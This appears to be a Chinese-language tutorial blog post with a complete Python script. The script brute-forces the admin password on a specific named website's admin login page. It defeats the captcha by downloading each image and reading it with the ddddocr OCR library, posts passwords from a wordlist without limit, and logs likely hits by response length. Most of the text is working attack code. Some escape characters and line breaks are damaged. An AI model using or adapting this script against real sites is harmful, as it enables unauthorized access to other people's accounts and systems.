import requests
import bs4
sense=requests.session()
url = 'https://1.lehui1.com/abc/admin/login.php'
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39'
}
def ii():
# 获取验证码的随机码
r = sense.get(url=url, headers=headers).text
#通过bs4解析返回数据并定位到具体要的内容
b = bs4.BeautifulSoup(r, 'lxml')
soup = b.select('img[id="codeimg"]')
code_url = soup[0].attrs['src']
获取验证码 接上面代码函数ii()里面:
# 开始获取验证码
url_c = 'https://1.lehui1.com/abc/admin' + code_url.strip(code_url[0])#这里由于获取到的
数据多余了一个点,所以去掉了
R = sense.get(url=url_c, headers=headers).content
#保存到文件里面
file = open('yzm.png', 'wb')
file.write(R)
file.close()
获取到验证码效果图
2.自动识别验证码 这里就需要使用python识别库了,由于python官方库识别不是太理想,还需要处理图像后识别效果才好,所以我直接使用了ddddocr库 这个库简单实用,并且识别率好像还挺高的 ddddocr库: 安装命令:
1、镜像安装:pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple简单使用方法:
import ddddocr
ocr = ddddocr.DdddOcr()
with open('1.png', 'rb') as f:
img_bytes = f.read()
res = ocr.classification(img_bytes)
print(res)
识别验证码代码及效果:
import ddddocr
def yzmsb():
ocr = ddddocr.DdddOcr()
with open(r'yzm.png', 'rb') as f:
a = f.read()
f = ocr.classification(a)
return f
3.获取到密码和验证码结果,通过python模拟无限次发送 已经获取到验证码并识别出来,这次试验就穷举admin的密码:
def oo(a,passwd):
#发送的数据
data = {
'user': 'admin',
'pass': passwd,
'code': a
}
relist = sense.post(url=url, headers=headers, data=data).text
整体代码
import requests
import bs4
import ddddocr,sys
sense=requests.session()
#这里一定需要使用的session(),当我们在做登录是,都会发送很多数据的包括用不同的接口,比如说这里的验证码接口。
#使用session()就会让我们相当于在一个浏览器发送数据的。
url = 'https://1.lehui1.com/abc/admin/login.php'
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39'}
def ii():
# 获取验证码的随机码
r = sense.get(url=url, headers=headers).text
#通过bs4获取需要的内容
b = bs4.BeautifulSoup(r, 'lxml')
soup = b.select('img[id="codeimg"]')
#获取到数据
code_url = soup[0].attrs['src']
# 开始获取验证码图片
url_c = 'https://1.lehui1.com/abc/admin' + code_url.strip(code_url[0])
R = sense.get(url=url_c, headers=headers).content
#保存好文件
file = open('yzm.png', 'wb')
file.write(R)
file.close()
#识别保存的验证码
def yzmsb():
ocr = ddddocr.DdddOcr()
with open(r'yzm.png', 'rb') as f:
a = f.read()
f = ocr.classification(a)
return f
#开始发送验证码和用户名请求
def oo(a,passwd):
data = {
'user': 'admin',
'pass': passwd,
'code': a
}
relist = sense.post(url=url, headers=headers, data=data).text
#这里怎样通过程序来分析出发送的请求密码是正确的呢
#通过反回数据的长度来判断
#这里如果密码错误会有两种结果,一种是验证码错误,一种是用户名或密码错误
#所以直接判断不在这两个返回内的数据长度内就有可能发送的密码是正确的
#由于不一定是密码正确还有其他情况,所以会把它密码和返回数据存入日志中查看
if len(relist) > 74 or len(relist) < 70:
with open('webpjRZ.txt','a',encoding='utf-8') as f:
f.write('n'+passwd+relist)
if __name__=="__main__":
with open('常用用户名.txt','r',encoding='utf-8') as f:
zi=f.readlines()
for i in zi:
passwd=i.strip('n')
ii()
oo(yzmsb(),passwd)



